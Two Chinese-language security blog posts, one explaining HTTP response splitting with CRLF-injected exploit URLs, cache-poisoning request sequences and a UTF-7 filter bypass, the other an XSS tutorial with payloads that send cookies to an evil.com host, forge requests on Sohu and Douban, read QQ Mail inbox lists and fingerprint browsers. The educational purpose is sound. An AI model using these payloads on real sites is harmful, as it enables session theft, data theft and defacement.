2013年5月30日星期四

原创]HTTP响应头拆分漏洞


分类: 技术 2044人阅读 评论(1) 收藏 举报
HTTP响应头拆分漏洞
By ivory(isno@qq.com
http://www.godexp.com
一:前言
“HTTP 响应头拆分漏洞”是一种新型的web攻击方案,它重新产生了很多安全漏洞包括:web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。这项攻击 方案,包括其衍生的一系列技术产生,是由于web应用程序没有对用户的提交进行严格过滤,导致非法用户可以提交一些恶意字符,更具体来说,是对用户输入的 CR 和LF字符没有进行严格的过滤。
“HTTP响应头拆分漏洞”及其相关的攻击手段可以在很多的web环境中实现,包括微软的asp、 asp.net,IBM WebSphere,BEA WebLogic,Jakarta Tomcat,Macromedia oldFusion/MX,Sun Microsystems SunONE;流行的Squid和Apache服务器;流行的微软IE6.0浏览器。我不是在吹牛,很多大的站点都存在这样的漏洞,这让我大吃一惊。
    这篇文章将描述攻击的概念并且提供一些使用实例分析。
 二:介绍
在HTTP响应头拆分攻击中具体牵涉到三个对象:
漏洞服务器:即存在漏洞的服务器。
攻击工具:比如浏览器,类似IE6.0。
攻击者:发动攻击的人。
HTTP 响应头拆分攻击本质是:攻击者可以发送一个或几个HTTP指令迫使漏洞服务器产生一个攻击者构想好的输出。它可以让服务器误把几条HTTP请求看成一次完 成的HTTP请求来解释。第一条请求也许攻击者部分控制着一部分,但这并不是危险的;危险的是,攻击者完全控制着第二条HTTP请求,即从HTTP状态行 一直到HTTP请求的尾部。如果这样可行,攻击者就会发送多个请求指令到目标系统:第一条使得服务器完全接受两个HTTP响应,第二条响应通常是在服务器 上请求一些非法资源,而服务器将会自动匹配到第二条响应,输出攻击者想要请求的资源,从而达到攻击者的目的。
通过这个思路,我们可以构造出形形色色的攻击,具体来说:
1 跨站脚本攻击(XSS):这是一个非常普通和老式的漏洞,它可以让用户通过运行了一段javascript或者html代码后,可以截取该用户的 cookie和session。但是到现在,通过一些重定向脚本发起一次XSS攻击是很困难的,尤其是当用户使用最新补丁的IE浏览器的时候,除非位置头 是完全控制的。但是当结合HTTP响应头攻击确是可以非常简单实现,即使只是部分控制位置头。
2 web缓存中毒(我们称之为web损耗):这是一个新的攻击技术,攻击者强迫服务器高速缓存中记录了第二次HTTP请求,而服务器中的高速缓存记录的第二 次请求是经过攻击者精心构造的。这将成功的对目标站点进行损耗,当其他人访问目标站点时,他们仅仅读取了高速缓存里的数据,造成站点被“黑”的假象。当 然,除了站点损耗之外,攻击者也可以偷取用户的session和cookie。
3 通过对用户的攻击:这是第二种方式的一个特殊情况。它对单个用户的欺骗、对服务器单个页面的损耗,和暂时的磨损,也可以偷取到特定用户的session和cookie。
4 劫持具体用户的页面敏感信息:攻击者欺骗服务器,并取得敏感用户的权限,并进入其用户的状态,访问到一些秘密信息。
5 浏览器高速缓存中毒:这也是一项最新的攻击方式,它这和跨站脚本攻击方式有点类似,唯一的差别就是攻击者强迫浏览器高速缓存中记录一个长和持续的磨损的网页,直到浏览器的高速缓存已经清洁。
对于这些我将在后面一一作介绍。
三:web高速缓存中毒的实现
由于这是一个新兴的技术,所以这个段落我将对web高速缓存中毒的实现做进一步的分析。
1 毒害反向代理高速缓存:即电子涂写。在这种方式中,攻击者将直接面向网站。当然最厉害的手法是磨损该网站的首页,这样所有客户端将都受到影响,这也是最漂亮的手段,但是这样很容易被发现。
2 毒害一台中间高速缓存服务器:迂回。这种方式被发现是很困难的,中间缓存服务器是有很多的,而且漏洞服务器不可能占有所有的中间缓存服务器,这些服务器很 有可能不是在同一个地方,比如我们攻击台湾的站点,我们很有可能会先攻击一台位于美国的中间缓存服务器,即使被调查到了也是要很久的,也许我们早就有时间 把所有的信息给清除。
3 毒害浏览器高速缓存:一针见血。攻击者很有可能会瞄准到一个特殊用户,例如从一个很富有的用户那里偷取到证书,这样的攻击将会变得很独特而且很难实施。因 为,它不同于跨站脚本攻击,而且被毒害的页面要始终保持在高速缓存中以等待受害者(即你所瞄准的用户)来装载,有时候受害者从来都不会登陆到那个页面,或 者是受害者浏览器禁止了JAVA脚本的执行等等,都会造成无法成功。
四:HTTP响应头漏洞攻击基本技术。
HTTP响应头攻击把代码嵌入 到用户信息中并放在HTTP头部,也发生在把用户信息和代码嵌入到重定向到的URL中,或者把脚本嵌入到cookie值或者name里。在第一条响应中, 重定向的URL是HTTP响应头的一部分,第二条响应是确定cookie,cookie中的name/value是响应头中set-cookie的一部 分。
由于攻击的特殊性,在实现攻击前,我们先来了解一下这两个字符的编码:
CR = %0d = /r
LF = %0a = /n
比如,我们考虑以下jsp页面(/isno.jsp),内容如下:
<%
response.sendRedirect("/isno.jsp?lang="+request.getParameter("lang"));
%>
假如使得parmeter lang=ivory,程序将会重定向到/isno.jsp?lang=ivory。通常一个标准的HTTP请求会如下:
HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 12:53:28 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=ivory/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwBE!-
1251019693; path=//r/n
Connection: Close/r/n
<html><head><title>302 Moved Temporarily</title></head>/r/n
<body bgcolor="#FFFFFF">/r/n
<p>This document you requested has moved temporarily.</p>/r/n
<p>It's now at <a
href="http://192.168.0.1/isno.jsp?lang=ivory">http://192.168.0.1/isno.jsp?lang=ivory</a>.</p>/r/n</body>/r/n</html>/r/n
这样我们能清楚的看出lang所赋的值被嵌入在Location响应头中。
好,我们来实行HTTP响应头攻击,再将lang赋值,这次并不是ivory,而是给另外一个东西。
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
这样的话,HTTP将会如下发送:
HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
<html>I’m%20isno!</html>/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!-
1251019693; path=//r/n
Connection: Close/r/n
<html><head><title>302 Moved Temporarily</title></head>/r/n
<body bgcolor="#FFFFFF">/r/n
<p>This document you requested has moved temporarily.</p>/r/n
<p>It's now at <a href="http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
&lt;html&gt;I’m%20isno!&lt;/html&gt;">http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
&lt;html&gt;I’m%20isno!&lt;/html&gt;</a>.</p>/r/n
</body></html>/r/n
不同的地方我用颜色标识出来了,但是这里我还是作一些解释:
这里提交了两个请求,第一个指向的URL是
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
第二个指向的URL是
/index.html
这样服务器会给第一个请求匹配到第一个响应:
HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
对第二个请求(/index.html)自动匹配到第二个响应:
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
&lt;html&gt;I’m%20isno!&lt;/html&gt;</a>.</p>/r/n
</body></html>/r/n
这样,攻击者就成功的愚弄了服务器。我们可以看出,上面这个例子非常的简单而且无知,但是是最简单的利用方法,当然实际的情况会更复杂,更会出现一些问题,我们将在下面的部分讨论实战中要考虑到的因素。
五:从实际出发—把绊脚石踢开
1 错误处理机制。
“错 误处理”曾是iis漏洞的一个漏洞点,在iis5.0中,它允许客户端定制一个脚本来处理HTTP错误信息,而不是给出真正的错误页面。举例来说,当用户 请求一个资源,而该资源不存在的时候,会出现“资源无法访问(你所找的页面不存在)”(HTTP状态404),而同时IIS5.0允许产生一个脚本代码响 应给用户,这个代码可以是静态的HTML,也可以是动态的ASP等等。因此,这里就会产生一个HTTP响应头拆分漏洞,但是只是针对iis5.0。
2 字符过滤器的饶过。
另 一个要面对的问题就是,一些应用程序会过滤掉一些用户输入的非法字符。特别是对一些非ASCII字符作严格的过滤。例如ASP.NET 1.0/1.1会尝试对数据进行UTF-8编码,如果在UTF-8中不符合的数据将会自动丢失;ASP.NET 1.1不允许有’<’字符出现在一些数据的后面。
而我们在构造header头的时候,基本上都不会出现被过滤的情况。关键就是对body请求的构造,因为这个地方会出现一些让字符过滤器过滤的字符。
饶 过的方法当然就是对body处进行UTF-7进行编码(RFC 2152 - [1]),这种编码方法可以对任意的unicode字符编码到“A-Z”,“a-z”,“0-9”,“/”,“-”,“+”中,这样可以让过滤器对我们提 交的数据无法过滤。具体实现的方法如下:
I 修改第一处:
Content-Type: text/html;charset=utf-7
II 修改第二处:
将<html><body><script>alert('get,cookies:'+document.cookie)</script></body></html>
编码后成为:
+ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert('get,cookies:'+-document.cookie)+ADw-/script+AD4-+ADw-/body+AD4-+ADw-/html+AD4-
3 使请求的URL长度尽量缩小。
六.对高速缓存中毒的分析,跨站脚本在IE中的利用
要使高速缓存中毒,我们必须要提交Last-Modified的HTTP响应头,并指明一个将来的日期。我用实例来说明一下对高速缓存中毒的攻击:
./isno.jsp?lang=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font color=red>I’m%20Isno!</font></html> HTTP/1.1
另外一个更实际的例子,对APACHE/2.0的攻击(APACHE很容易实现HTTP响应头拆分攻击,作为范例最好不过了):
这次攻击将发送三条请求,第一条用来迫使服务器对资源的高速缓存无效,第二条请求将利用HTTP响应头攻击,使得Apache自动连接第三条响应和第二条响应。
攻击具体如下:
第一次请求:
GET http://192.168.0.1/index.html HTTP/1.1(由于apache不对”/”进行缓存)
Pragma: no-cache
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
第二次请求:
GET http://192.168.0.1/isno.jsp?lang=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>I’m%20isno!</html>
HTTP/1.1
Host: 192.168.0.1/r/n
User-Agent: Mozilla/4.7 [en] (WinNT; I)/r/n
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*/r/n
Accept-Encoding: gzip/r/n
Accept-Language: en/r/n
Accept-Charset: iso-8859-1,*,utf-8/r/n
第三次请求:
GET http://192.168.0.1/index.html HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
另 外注意的地方:比如IE EXPLORER 6.0(SP1),由于一些机制的影响,我们不能直接的象上面那样输入,要稍微想点办法,由于其缓冲区边界为1024个字节,所以它读取第一条请求使用了 1024个字节,所以第二个请求必须要从1024个字节开始为边界,所以我们提交的会是下面这样的:
http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
… [填充1024个A]… AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Sun,%2023%20Nov%202003%2014:05:11%20GMT%0d%0aContent-Length:%2028%0d%0a%0d%0a<html>Hacked-by-isno!</html>
同样的思路,对于跨站脚本攻击的提交会是这样的:
http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
… [填充1024个A] … AAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2052%0d%0a%0d%0a<html><script>alert(document.cookie)</script></html>
这里一定要谨慎。
七.通过对用户的攻击—理论分析
Squid 2.4和ISA/2000允许用户分享与服务器的连接,这样的话,很有可能存在一个HTTP响应头拆分漏洞的隐患,可以提交两次对服务器的请求,如果这两 次请求存在一个延迟,这时攻击者要断开和服务器的连接,而受害的用户再给出一个对服务器的请求的时候,这样就产生了一个攻击。我们可以看出,这样的攻击, 要求对与服务器断开连接的时间上做很好的控制,特别是当两次请求包的延迟比10毫秒还低的时候(在Squid 2.4上证明了这一点)。对于ISA/2000来说,攻击方式稍微要简单些,因为两个用户可能分享相同的TCP连接,所以并不需要攻击者断开与服务器的连 接。
八.劫持用户页敏感信息
这个有点类似于我们所说的中间人攻击。这时候攻击者充当着两个角色:对用户来说他充当了服务器的角色,对服务器来说他充当了用户的角色,然后象一个审查员一样的工作,这样不仅可以劫持到用户的敏感信息,而且同样可以进行篡改和添加。
九. 实际的安全漏洞两则
以下我会举出一些更具体的例子来加深一下印象。
1 PHP-NUKE 7.6及更低版本HTTP响应拆分漏洞
起因是应用程序没有正确的过滤用户提供的输入。远程攻击者可以利用这个漏洞影响或错误的显示Web内容服务,缓存或解释的方式,这可能帮助诱骗客户端用户,导致跨站脚本,缓存破坏或页面劫持等漏洞。
攻击手法如下
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE /
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> /
2 Phorum HTTP响应拆分漏洞
由于没能正确的验证传送给Location参数的输入,攻击者可能向HTTP首部中注入恶意的字符。这可能导致在受影响站点的用户浏览器会话中执行任意HTML和脚本代码,进而展开各种攻击,如跨站脚本、破坏Web或浏览器缓存、劫持页面等。
攻击手法如下:
http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200% /
0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%203 /
4%0d%0a%0d%0a<html>Scanned by /
PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates= /
30
十. 后记
感谢我的一些朋友。此篇文章献给我的妈妈!

网络安全---XSS攻击

网络安全---XSS攻击  

2012-08-10 14:05:54|  分类: 网络 |字号 订阅
一、浏览器安全
1,同源策略:
影响源的因素:host,子域名,端口,协议

a.com通过以下代码:
<script scr=http://b.com/b.js></script>
加载了b.com上的b.js,但是b.js是运行在a.com页面中的,因此相对于当前打开的页面(a.com)来说,b.js的源就应该是a.com而非b.com

不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
XMLHttpRequest 不能跨域访问资源。但是有跨域请求的需求,因此W3C指定了XMLHttpRequest的跨域访问标准。它需要通过目标域返回的Http头来授权是否允 许跨域访问,因此HTTP头对于JavaScript来说一般是无法控制的,所以认为这个方案是可行的。注意:这个跨域访问方案的安全基础就是信任 “Javascript无法控制该HTTP头”,如果此信任基础被打破,则此方案也就不再安全。

2,浏览器沙箱:每个单独的页面是一个进程。浏览器加载的第三方插件如Flash、Java、PDF、.NET Framework都成为了被攻击热点。
3,恶意网址拦截:
浏览器使用黑名单策略来警告用户。常见的恶意网址分为两类:
1)挂马网站,通常包含恶意的Javascript或Flash,通过利用浏览器的漏洞,执行shellcode,在电脑中植入木马
2)钓鱼网站:模仿知名网站的相似页面
4,高速发展的浏览器安全:

二、跨站脚本攻击XSS: Cross Site Script,因为和CSS重名,所以改名XSS
1,XSS简介
通 常指黑客通过“HTML注入”纂改了页面,插入了恶意的脚本,从而在用户浏览页面时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是跨域的, 所以叫“跨站脚本”。但是发展到今天,由于Javascript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,这个名字 保留了下来。

假设一个页面把用户输入的参数输出到页面上:
<?php
$input=$_GET["param"];
echo "<div>".$input."</div>";
?>
如果提交一段HTML代码:
http://www.a.com/test.php?param=<script>alert(/xss/)</script>
会发现alert(/xss/)被执行了。

XSS分为以下几类:
1)反射型XSS: 就如上面的例子,也就是黑客需要诱使用户点击链接。也叫作"非持久型XSS“(Non-persistent XSS)
2)存储型XSS:把用户输入的数据”存储“在服务器端。这种XSS具有很强的稳定性。
比较常见的一个场景是,黑客写下一篇包含恶意Javascript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存在服务器端,所以中XSS攻击就叫做"存储型XSS"。
3)DOM based XSS:也是一种反射型XSS,由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
看如下代码:
<script>
function test(){
  var str=document.getElementById("text").value;
  document.getElementById("t").innerHTML="<a href='http://supershll.blog.163.com/blog/"+str+"' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onlick="test()" />

这段代码的作用就是点击write按钮后在当前页面插入一个链接。
构造如下数据:
' onclick=alert(/xss/) //
输入后,页面代码就成了
<a href='http://supershll.blog.163.com/blog/' onlick=alert(/xss/) //' >testLink </a>
首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符//注释掉第二个单引号。

实际上,这里还有另外一种利用方式---除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个新的HTML标签。尝试如下输入:
'><img scr=# onerror=alert(/xss2/) /><'
页面代码编程
<a href='http://supershll.blog.163.com/blog/'><img scr=# onerror=alert(/xss2/) /><''>testLink</a>

2,XSS攻击进阶:
1)初探XSS Payload:
XSS Payload就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何Javascript脚本能做到的事情,XSS Payload都能做到。
一个最常见的XSS Payload就是读取浏览器的Cookie对象,从而发起"Cookie劫持"攻击。
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不用通过密码,而直接登录进用户的账户。
如下所示,攻击者先加载一个远程脚本:
http://www.a.com/test.htm?abc="><script scr=http://www.evil.com/evil.js ></script>
真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。
在evil.js中,可以通过如下代码窃取Cookie:
var img=document.createElement("img");
 img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。
事实上,http://www.evil.com/log并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录。
这样就完成了一个最简单的窃取Cookie的XSS Payload。
黑客可以用这个Cookie直接登录。
防止:Cookie的“HttpOnly"标识可以防止"Cookie劫持",我们将在稍后的章节中在具体介绍。

2)强大的XSS Payload:
a)构造Get与Post请求:例如在Sohu上有一篇文章, 想通过XSS删除它,该如何做呢?
假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如下:
正常删除该文章的链接是:
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
对于攻击者来说,只需要直到文章的id,就能够通过这个请求删除这篇文章了。
攻击者可以通过插入一张图片来发起一个get请求:

var img=document.createElement("img");
img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);

攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。

再看一个复杂点的例子。如果网站应用者接受POST请求,那么攻击者如何实施XSS攻击呢?
下例是Douban的一处表单。攻击者将通过Javascript发出一个post请求,提交此表单,最终发出一条新的消息。

var f=document.createElement("form");
f.action="";
f.method="post";
document.body.appendChild(f);

var i1=document.createElement("input");
i1.name=" ck";
i1.value=" JiuY";
f.appendChild(i1);

var i2=document.createElement("input");
i2.name=" mb_text";
i2.value="testtestseset";
f.appendChild(i2);

f.submit();

如果表单参数很多的话,通过构造DOM的方式,代码将会很冗长。所以可以直接写HTML代码:
var dd=document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+
   '<input type="hidden" name="ck" value="JiuY" />'+
   '<input type="hidden" name="mb_text" value="testetst" />' +
   '</form'

document.getElementById("xssform").submit();

第二种方法是,通过XMLHttpRequest发送一个POST请求:
var url="http://www.douban.com";
var postStr="ck=JiuY&mb_text=test1234";
var ajax=null;
if (window.XMLHttpRequest){
  ajax=new XMLHttpRequest();
} else if (window.ActiveXObject){
  ajax=new ActiveXObject("Microsoft.XMLHTTP");
} else {
  return;
}

ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(postStr);

ajax.onreadystatechange=function(){
  if (ajax.readyState==4 && ajax.status==200){
   alert("Done");
  }
}

通过这个例子可以看出,使用Javascript模拟提交表单并不是一件困难的事情.

下面的例子将演示如何通过XSS Payload读取QMail用户的邮件文件夹:
首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后,点击“收件箱”后。抓包发现浏览器发出了如下请求:
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh...&folderid=1&page=0&s=index&loc=folderlist,,,1

经过分析,真正能访问到邮件列表的链接是:
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx...

这里有一个无法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。
所以XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能得到邮件列表了。XSS Payload如下:
if (top.window.location.href.indexOf("sid=")>0){
  var sid=top.window..location.href.substr(top.window.location.href.indexOf("sid=")+4,24);
}

var folder_url="http://"+top.window.location.host+"/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid="+sid;

var ajax=null;
if (window.XMLHttpRequest){
  ajax=new XMLHttpRequest();
} else if (window.ActiveXObject){
  ajax=new ActiveXObject("Microsoft.XMLHTTP");
} else {
  return;
}

ajax.open("GET",folder_url,true);
ajax.send(null);

ajax.onreadystatechange=function(){
  if (ajax.readyState==4 && ajax.status==200){
   alert(ajax.responseText);
    //document.write(ajax.responseText);
  }
}

邮件列表的内容成功被XSS Payload获取到。

b)钓鱼:
XSS并非万能。前面的例子都是Javascript脚本,缺少"与用户的交互",碰到验证码,和修改密码时需要输入旧密码,XSS Payload就会失效。
对于验证码,XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施--攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。
修改密码的问题比较复杂,为了窃取密码,攻击者可以将XSS与"钓鱼"结合。
实现思路很简单:利用Javascript在当前页面上"画出"一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。

c)识别用户浏览器:
navigator.userAgent
但是userAgent是可以伪造的。这个信息不一定准确。
由于浏览器之间的实现存在差异,利用这种差异分辨浏览器几乎不会错误。
参考:
if (window.ActiveObject){ //MSIE 6.0 or below

  //判断是否IE 7以上
  if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined"){
     if (typeof document.adoptNode!="undefined") { //Safari 3 & FF & Opera & Chrome & IE8
        //MSIE 8.0
     }
    //MSIE 7.0
  }
  return "msie"; //MSIE6.0
}  else if { typeof window.opera!="undefined") { //Opera独占
  return "opera";
} else if (typeof window.netscape!="undefined"){ //Mozilla独占
  if (typeof window.Iterator !="undefined") {
    //Firefox 2.0以上支持这个对象
    if (typeof document.styleSheetSets!="undefined"){ //FireFox 3 & Opera 9
      //Firefox 3
    }
    //Firefox 2.0
  }
  return "mozilla";
} else if (typeof window.pageXOffset!="undefined"){ //Mozilla & Safari
  try {
    if (typeof external.AddSearchProvider!="undefined"){  //Firefox & Google Chrome
      return "Chrome";
     }
  } catch (e) {
    return "safari";
  }
} else { //unknown
 return "unknown";
}

d)识别用户安装的软件:
在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击"--黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
看如下代码:
try {
  var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
} catch (e){
  //异常了,不存在该控件
}
通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。
在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript。

浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。

Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件:
所以直接查询"navigator.plugins"对象,就能找到所有的插件了。例如 navigator.plugins[0]

而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。
在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:
chrome://flashgot/skin/icon32.png
扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在。
var m=new Image();
m.onload=function(){
  alert(1);//图片存在
};
m.onerror=function(){
 alert(2);//图片不存在
};
m.src="chrome://flashgot/skin/icon32.png"; //连接图片

e)CSS History Hack:
我们再看看另外一个有趣的XSS Payload---通过CSS,来发现一个用户曾经访问过的网站。
原理是利用style的visited桑性---如果用户曾经访问过某个链接,那么这个链接的颜色会变的与众不同。
<script>
var websites=[ ... 要检测的访问过的网址列表,可能有几千个...];
//遍历每个URL
for (var i=0;i<websites.length:i++){
  var link=document.createElement("a");
  link.id="id"+i;
  link.href=websites[i];
  link.innerHTML=websites[i];
 
  document.write('<style>');
  document.write('#id'+i+":visited {color:#FF0000;}");
  document.write('</style>');

  document.body.appendChild(link);
  var color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
  document.body.removeChild(link);

  if (color=="rgb(255,0,0)") { //visited
   var item=document.createElement('li');
   item.appendChild(link);
   document.getElementById('visited').appendChild(item);
 } else { //Not visited
   var item=document.createElement('li');
   item.appendChild(link);
   document.getElementById('notvisited').appendChild(item);
 }
}
</script>

但是Firefox已经决定修补这个问题

f)获取用户的真实IP地址:
很多时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。
javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。

在XSS攻击框架"Attack API"中,就有一个获取本地IP地址的API:
AttackAPI.dom.getInternalIP=function(){
 try {
   var sock=new java.net.Socket();
   sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));
   sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port));
   return sock.getLocalAddress().getHostAddress();
 } catch (e) {}
 return '127.0.0.1';
};

此外,还有两个利用Java获取本地网络信息的API:

3)XSS攻击平台:
XSS Payload如此强大,为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害,以及方便渗透测试使用。
a)Attack API: Attack API是安全研究者pdp所主导的一个项目,他总结了很多能够直接使用的XSS Payload,归纳为API的方式。
b)BeFF:曾经是最好的XSS演示平台。其所演示的是一个完整的XSS攻击过程。
c)XSS-Proxy:是一个轻量级的XSS攻击平台,通过嵌套iFrame的方式可以实时地远程控制被XS攻击的浏览器。
这些XSS攻击平台有助于深入理解XSS的原理和危害。

4)终极武器:XSS Worm
a)Samy Worm:
2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。
MySpace 过滤了很多危险的HTML标签,只保留了<a>标签、<img>标签、<div>标签等"安全的标签".并过滤了所 有的事件,例如"onclick"。但是MySpace却允许用户控制标签的Style属性,通过style,还是有办法构造出XSS的。比如:
<div style="background:url('javascript:alert(1)')">

其次,MySpace同时还过滤了"javascript"、"onreadystatechange”等敏感词,所以Samy用了“拆分法"绕过这些限制。
最后Samy通过Ajax构造的Post请求,完成了在用户的heros列表里添加自己名字的功能;同事复制蠕虫自身进行传播。至此,XSS Worm就完成了。
具体代码太长。。。

但是发起XSS Worm攻击是有一定的条件的:
一般来说,用户之间发生交互行为的页面,如果存在存储性XSS,则比较容易发起XSS Worm攻击。
